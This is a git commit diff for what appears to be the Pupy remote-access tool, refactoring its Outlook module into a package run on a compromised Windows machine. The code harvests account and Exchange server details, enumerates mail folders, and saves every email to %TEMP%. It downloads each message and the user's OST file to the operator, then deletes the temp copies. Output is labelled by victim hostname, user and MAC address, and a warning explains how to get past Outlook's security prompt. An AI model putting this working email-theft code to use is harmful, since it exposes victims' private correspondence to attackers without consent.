Outlook module as a package (better performances)

This commit is contained in:
quentinhardy 2016-10-03 09:35:04 -04:00
parent ca83bce6b0
commit 78e90fac4b
2 changed files with 278 additions and 33 deletions

View File

@ -4,8 +4,8 @@
import os import os
from pupylib.PupyModule import * from pupylib.PupyModule import *
from rpyc.utils.classic import upload from rpyc.utils.classic import download
from modules.lib.windows.outlook import outlook from pupylib.utils.term import colorize
__class_name__="Outlook" __class_name__="Outlook"
ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),"..","..")) ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),"..",".."))
@ -15,6 +15,10 @@ class Outlook(PupyModule):
''' '''
''' '''
dependencies=["win32api","win32com","pythoncom","winerror"] dependencies=["win32api","win32com","pythoncom","winerror"]
OL_SAVE_AS_TYPE={'olTXT': 0,'olRTF':1,'olTemplate': 2,'olMSG': 3,'olDoc':4,'olHTML':5,'olVCard': 6,'olVCal':7,'olICal': 8}
OL_DEFAULT_FOLDERS = {'olFolderDeletedItems':3,'olFolderDrafts':16,'olFolderInbox':6,'olFolderJunk':23,'olFolderSentMail':5}
def init_argparse(self): def init_argparse(self):
''' '''
''' '''
@ -23,57 +27,77 @@ class Outlook(PupyModule):
self.arg_parser.add_argument('-l', dest='foldersAndSubFolders', action='store_true', help="Get Outlook folders and subfolders") self.arg_parser.add_argument('-l', dest='foldersAndSubFolders', action='store_true', help="Get Outlook folders and subfolders")
self.arg_parser.add_argument('-n', dest='numberOfEmails', action='store_true', help="Get number of emails stored in the outlook folder choisen (see options below)") self.arg_parser.add_argument('-n', dest='numberOfEmails', action='store_true', help="Get number of emails stored in the outlook folder choisen (see options below)")
self.arg_parser.add_argument('-d', dest='downloadAllEmails', action='store_true', help="Download all emails stored in the outlook folder choisen with MAPI (see options below)") self.arg_parser.add_argument('-d', dest='downloadAllEmails', action='store_true', help="Download all emails stored in the outlook folder choisen with MAPI (see options below)")
self.arg_parser.add_argument('-t', dest='doawnloadOST', action='store_true', help="Download Outlook OST file (Offline or cached Outlook items)") self.arg_parser.add_argument('-t', dest='downloadOST', action='store_true', help="Download Outlook OST file (Offline or cached Outlook items)")
self.arg_parser.add_argument('-output-folder', dest='localOutputFolder', default='output/', help="Folder which will contain emails locally (default: %(default)s)") self.arg_parser.add_argument('-output-folder', dest='localOutputFolder', default='output/', help="Folder which will contain emails locally (default: %(default)s)")
self.arg_parser.add_argument('-folder-default', choices=list(outlook.OL_DEFAULT_FOLDERS), default="olFolderInbox", dest='outlookFolder', help="Choose Outlook Folder using a default folder (default: %(default)s)") self.arg_parser.add_argument('-folder-default', choices=list(self.OL_DEFAULT_FOLDERS), default="olFolderInbox", dest='outlookFolder', help="Choose Outlook Folder using a default folder (default: %(default)s)")
self.arg_parser.add_argument('-folder-id', dest='folderId', default=None, help="Choose Outlook Folder using a folder ID (default: %(default)s)") self.arg_parser.add_argument('-folder-id', dest='folderId', default=None, help="Choose Outlook Folder using a folder ID (default: %(default)s)")
self.arg_parser.add_argument('-otype', choices=list(outlook.OL_SAVE_AS_TYPE), default="olMSG", dest='msgSaveType', help="Email saved as this type (default: %(default)s)") self.arg_parser.add_argument('-otype', choices=list(self.OL_SAVE_AS_TYPE), default="olMSG", dest='msgSaveType', help="Email saved as this type (default: %(default)s)")
def run(self, args): def run(self, args):
''' '''
''' '''
try: self.client.load_package("outlook")
self.client.conn.modules['win32com.client'].Dispatch("Outlook.Application").GetNamespace("MAPI") localFolder=args.localOutputFolder
self.success("Outlook application seems to be installed on the target") self.localFolder = os.path.join(localFolder, "{0}-{1}-{2}".format(self.client.desc['hostname'].encode('utf-8'), self.client.desc['user'].encode('utf-8'), self.client.desc['macaddr'].encode('utf-8').replace(':','')))
except Exception,e: if not os.path.exists(self.localFolder):
logging.info("Outlook Application is probably not installed on this target. Impossible to continue...\n{0}".format(repr(e))) logging.debug("Creating the {0} folder locally".format(self.localFolder))
os.makedirs(self.localFolder)
if args.folderId != None:
self.warning('Notice the folder Id option will be used and the default folder option will be disabled')
outlook = self.client.conn.modules['outlook'].outlook(folderIndex=self.OL_DEFAULT_FOLDERS[args.outlookFolder], folderId=args.folderId, msgSaveType=args.msgSaveType)
if args.downloadOST == True:
self.success("Trying to download Outlook OST file of the targeted current user")
paths = outlook.getPathToOSTFiles()
if len(paths)>0:
localPath = os.path.join(self.localFolder, ''.join(l for l in paths[0][0].encode('ascii','ignore') if l.isalnum()))
self.success("Downloading the file {0} to {1}...".format(paths[0][1], localPath))
download(self.client.conn, paths[0][1], localPath)
self.success("OST file downloaded from {0} to {1}".format(paths[0][1], localPath))
else:
self.error("OST file not found or an error occured")
if outlook.outlookIsInstalled() == True:
self.success("Outlook application seems to be installed on the target, trying to connect to MAPI...")
if outlook.connect() == True:
self.success("Connected to outlook application trough MAPI")
else:
self.error("Impossible to connect to outlook application trough MAPI. Abording!")
return
else:
self.error("Outlook application doesn't seem to be installed on the target. Nothing to do. Cancelling!") self.error("Outlook application doesn't seem to be installed on the target. Nothing to do. Cancelling!")
return return
if args.information == True: if args.information == True:
outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder]) info = outlook.getInformation()
info = outl.getInformation()
for key, value in info.iteritems(): for key, value in info.iteritems():
self.success("{0}: {1}".format(key, value)) self.success("{0}: {1}".format(key, value))
outl.close()
if args.folderId != None:
self.warning('Notice the folder Id option will be used and the default folder option will be disabled')
if args.foldersAndSubFolders == True: if args.foldersAndSubFolders == True:
self.success("Outlook folders and subfolders:") self.success("Outlook folders and subfolders:")
outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder]) foldersAndSubFolders = outlook.getAllFolders()
outl.printFoldersAndSubFolders() for i,folder in enumerate(foldersAndSubFolders):
outl.close() print "{0}: {1}".format(i, folder.encode('utf-8'))
for j,subFolder in enumerate(foldersAndSubFolders[folder]):
print " {0}.{1}: {2} (id: {3})".format(i, j, subFolder.encode('utf-8'), foldersAndSubFolders[folder][subFolder].encode('utf-8'))
if args.numberOfEmails == True: if args.numberOfEmails == True:
self.success("Trying to get number of emails in the {0} folder".format(args.outlookFolder)) self.success("Trying to get number of emails in the {0} folder".format(args.outlookFolder))
outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder], folderId=args.folderId) nb = outlook.getNbOfEmails()
self.success("Number of emails in the {0} folder: {1}".format(args.outlookFolder, outl.getNbOfEmails())) self.success("Number of emails in the {0} folder: {1}".format(args.outlookFolder, nb))
outl.close()
if args.downloadAllEmails == True: if args.downloadAllEmails == True:
self.success("Trying to download all emails stored in the {0} folder".format(args.outlookFolder)) self.success("Trying to download all emails stored in the {0} folder".format(args.outlookFolder))
outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder], folderId=args.folderId, msgSaveType=args.msgSaveType) nb = outlook.getNbOfEmails()
nb = outl.getNbOfEmails()
if nb == 0: if nb == 0:
self.error("This box is empty. You should choose another outlook folder") self.error("This box is empty. You should choose another outlook folder")
else: else:
self.success("{0} emails found in {0}, Starting download...".format(args.outlookFolder)) self.success("{0} emails found in {0}, Starting download...".format(args.outlookFolder))
self.warning("If nothing happens, a Outlook security prompt has probably been triggered on the target.") self.warning("If nothing happens, a Outlook security prompt has probably been triggered on the target.")
self.warning("Notice if an antivirus is installed on the target, you should be abled to download emails without security prompt (see https://support.office.com/en-us/article/I-get-warnings-about-a-program-accessing-e-mail-address-information-or-sending-e-mail-on-my-behalf-df007135-c632-4ae4-8577-dd4ba26750a2)") self.warning("Notice if an antivirus is installed on the target, you should be abled to download emails without security prompt (see https://support.office.com/en-us/article/I-get-warnings-about-a-program-accessing-e-mail-address-information-or-sending-e-mail-on-my-behalf-df007135-c632-4ae4-8577-dd4ba26750a2)")
outl.downloadAllEmails() logging.debug("Downloading all emails")
outl.close() for i, anEmail in enumerate(outlook.getEmails()):
if args.doawnloadOST == True: aPathToMailFile, filename = outlook.getAMailFile(anEmail)
outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder], autoConnectToMAPI=False) sys.stdout.write('\r{2}Downloading email {0}/{1}...'.format(i+1 ,outlook.getNbOfEmails(), colorize("[+] ","green")))
self.success("Trying to download Outlook OST file of the targeted current user") sys.stdout.flush()
path = outl.downloadOSTFile() localPathToFile = os.path.join(self.localFolder, filename)
if path == None: logging.debug("Downloading the file {0} to {1}".format(aPathToMailFile, localPathToFile))
self.error("OST file not found or an error occured") download(self.client.conn, aPathToMailFile, localPathToFile)
else: logging.debug("Deleting {0}".format(aPathToMailFile))
self.success("OST file downloaded from {0} to {1}".format(path, outl.localFolder)) outlook.deleteTempMailFile(aPathToMailFile)
print "\n"
outlook.close()

View File

@ -0,0 +1,221 @@
# -*- coding: UTF8 -*-
#Author: @bobsecq
#Contributor(s):
import os, logging, sys, time
from collections import OrderedDict
import win32com
import win32com.client
import glob
class outlook():
'''
'''
OL_SAVE_AS_TYPE={'olTXT': 0,'olRTF':1,'olTemplate': 2,'olMSG': 3,'olDoc':4,'olHTML':5,'olVCard': 6,'olVCal':7,'olICal': 8}
OL_DEFAULT_FOLDERS = {'olFolderDeletedItems':3,'olFolderDrafts':16,'olFolderInbox':6,'olFolderJunk':23,'olFolderSentMail':5}
OL_ACCOUNT_TYPES = {4:'olEas',0:'olExchange',3:'olHttp',1:'olImap',5:'olOtherAccount',2:'olPop3'}
OL_EXCHANGE_CONNECTION_MODE = {100:'olOffline',500:'olOnline',200:'olDisconnected',300:'olConnectedHeaders',400:'olConnected',0:'olNoExchange'}
def __init__(self, folderIndex=None, folderId=None, sleepTime=3, msgSaveType='olMSG'):
'''
'''
self.outlook = None
self.mapi = None
self.foldersAndSubFolders = None
self.folderId = folderId
self.folderIndex = folderIndex
self.msgSaveType = msgSaveType
self.inbox = None
self.constants = None
self.sleepTime = sleepTime
self.remoteTempFolder = os.path.expandvars("%TEMP%")
def outlookIsInstalled(self):
'''
returns True if Outlook is installed
otherwise returns False
'''
try:
win32com.client.Dispatch("Outlook.Application").GetNamespace("MAPI")
return True
except Exception,e:
return False
def connect(self):
'''
Returns True if no error
Otherise returns False
'''
try:
self.outlook = win32com.client.Dispatch("Outlook.Application")
#self.outlook = win32com.client.gencache.EnsureDispatch("Outlook.Application")
self.mapi = self.outlook.GetNamespace("MAPI")
if self.folderId == None : self.setDefaultFolder(folderIndex=self.folderIndex)
else : self.setFolderFromId(folderId=self.folderId)
return True
except Exception,e:
return False
def close(self):
'''
'''
logging.debug("Closing Outlook link...")
self.outlook.Quit()
def getInformation(self):
'''
Returns Dictionnary
'''
info = OrderedDict()
info['CurrentProfileName']=self.mapi.CurrentProfileName
#info['CurrentUserAddress']=repr(self.mapi.CurrentUser) #Needs to be authenticiated to remote mail server. Otherwise, infinite timeout
info['SessionType']=self.outlook.Session.Type
for i, anAccount in enumerate(self.outlook.Session.Accounts):
info['Account{0}-DisplayName'.format(i)]=anAccount.DisplayName
info['Account{0}-SmtpAddress'.format(i)]=anAccount.SmtpAddress
info['Account{0}-AutoDiscoverXml'.format(i)]=anAccount.AutoDiscoverXml
info['Account{0}-AccountType'.format(i)]=self.OL_ACCOUNT_TYPES[anAccount.AccountType]
#info['Account{0}-UserName'.format(i)]=anAccount.UserName #Needs to be authenticiated to remote mail server. Otherwise, infinite timeout
info['ExchangeMailboxServerName']=self.mapi.ExchangeMailboxServerName #Returns a String value that represents the name of the Exchange server that hosts the primary Exchange account mailbox.
info['ExchangeMailboxServerVersion']=self.mapi.ExchangeMailboxServerVersion #Returns a String value that represents the full version number of the Exchange server that hosts the primary Exchange account mailbox.
info['Offline']=self.mapi.Offline #Returns a Boolean indicating True if Outlook is offline (not connected to an Exchange server), and False if online (connected to an Exchange server)
info['ExchangeConnectionMode']=self.OL_EXCHANGE_CONNECTION_MODE[self.mapi.ExchangeConnectionMode]
self.mapi.SendAndReceive(True)
print repr(self.mapi)
return info
def __getOlDefaultFoldersNameFromIndex__(self, folderIndex):
'''
Return None if folderIndex not found in OlDefaultFolders
Otherwise returns Name of the folder
'''
found = False
for k in self.OL_DEFAULT_FOLDERS:
if self.OL_DEFAULT_FOLDERS[k] == folderIndex:
return k
return ""
def setDefaultFolder(self, folderIndex=None):
'''
See https://msdn.microsoft.com/fr-fr/library/office/ff861868.aspx for folderIndex
Return True if done
Otherwise returns False
'''
if folderIndex == None:
folderIndex = self.OL_DEFAULT_FOLDERS['olFolderInbox']
folderName = self.__getOlDefaultFoldersNameFromIndex__(folderIndex)
if folderName == None:
logging.warning('Impossible to move the default folder to {0}. This folder index is not in {1}'.format(folderIndex, self.OL_DEFAULT_FOLDERS))
return False
else:
logging.debug("Moving outlook default folder to {0}".format(folderName))
self.inbox = self.mapi.GetDefaultFolder(folderIndex)
return True
def setFolderFromId(self, folderId):
'''
See https://msdn.microsoft.com/fr-fr/library/office/ff861868.aspx for folderIndex
Return True if done
Otherwise returns False
'''
if folderId == None:
logging.error("Impossible to set Outlook folder to None")
return False
else:
logging.debug("Moving outlook default folder to {0}".format(folderId))
self.inbox = self.mapi.GetFolderFromID(folderId)
return True
def getEmails(self):
'''
Returns a list which contains all mailitems
'''
emails = []
logging.debug("Getting {0} emails...".format(self.getNbOfEmails()))
for anEmail in self.inbox.Items:
emails.append(anEmail)
return emails
def getAMailFile(self, mailItem):
'''
return pathToAMailFileOnTarget, nameOftheMailFile
'''
ctime, subjectCleaned, receivedTime, path, filename = str(time.time()).replace('.',''), "Unknown", "Unknown", "", ""
try:
subjectCleaned = ''.join(l for l in mailItem.Subject.encode('ascii','ignore') if l.isalnum())
receivedTime = str(mailItem.ReceivedTime).replace('/','').replace('\\','').replace(':','-').replace(' ','_')
except Exception,e:
logging.warning("Impossible to encode email subject or receivedTime:{0}".format(repr(e)))
filename = "{0}_{1}_{2}.{3}".format(receivedTime, ctime, subjectCleaned[:100], 'msg')
path = os.path.join(self.remoteTempFolder,filename)
logging.debug('Saving temporarily the email on the remote path {0}'.format(path))
#mailItem.SaveAs(path, self.OL_SAVE_AS_TYPE['olMSG'])
mailItem.SaveAs(path, outlook.OL_SAVE_AS_TYPE[self.msgSaveType])
try:
os.rename(path, path) #test if the file is not opened by another process
except OSError as e:
time.sleep(self.sleepTime)
return path, filename
def deleteTempMailFile(self,path):
'''
'''
os.remove(path)
"""
def getAllSubjects(self):
'''
'''
subjects = []
logging.debug("Getting subjects of {0} emails...".format(self.getNbOfEmails()))
for anEmail in self.inbox.Items:
subjects.append(anEmail.Subject)
return subjects
"""
def getNbOfEmails(self):
'''
'''
#nc = self.inbox.Count
nb = len(self.inbox.Items)
logging.debug("Getting number of emails... {0} emails".format(nb))
return nb
def getAllFolders(self):
'''
'''
folders = {}
for inx, folder in enumerate(list(self.mapi.Folders)):
logging.debug("New folder: {0}({1})".format(folder.Name, folder.EntryID))
folders[folder.Name] = {}
if "Dossiers publics" not in folder.Name and "Public folders" not in folder.Name: #Bug in my version of outlook when getting emails in public folder
for inx,subfolder in enumerate(list(folder.Folders)):
logging.debug("{0}->{1} ({2})".format(inx, subfolder.Name.encode('utf-8'), subfolder.EntryID))
folders[folder.Name][subfolder.Name]=subfolder.EntryID
return folders
def getPathToOSTFiles(self):
'''
According to https://support.office.com/en-us/article/Locating-the-Outlook-data-files-0996ece3-57c6-49bc-977b-0d1892e2aacc
'''
paths = []
DEFAULT_LOCATIONS_OST = ["<drive>:\Users\<username>\AppData\Local\Microsoft\Outlook",
"<drive>:\Documents and Settings\<username>\Local Settings\Application Data\Microsoft\Outlook"
]
systemDrive = os.getenv("SystemDrive")
login = os.getenv("username")
for aLocationOST in DEFAULT_LOCATIONS_OST :
completeLocationOST = aLocationOST.replace("<drive>",systemDrive[:-1]).replace("<username>",login)
regex = os.path.join(completeLocationOST,"*.ost")
logging.debug('Searching OST file in {0}'.format(regex))
files = glob.glob(regex)
for aFile in files:
ostFileFound = os.path.join(completeLocationOST,aFile)
logging.info('OST file found in {0}'.format(ostFileFound))
paths.append([os.path.basename(aFile), ostFileFound])
return paths